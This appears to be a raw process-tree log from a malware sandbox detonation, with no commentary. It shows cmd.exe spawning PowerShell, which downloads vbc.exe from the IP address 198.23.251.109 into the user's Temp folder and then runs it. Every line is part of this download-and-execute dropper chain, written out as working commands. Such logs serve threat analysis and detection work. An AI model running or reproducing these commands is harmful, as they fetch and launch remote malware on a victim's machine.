cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
1944powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
1616powershell.exe powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
2168vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2808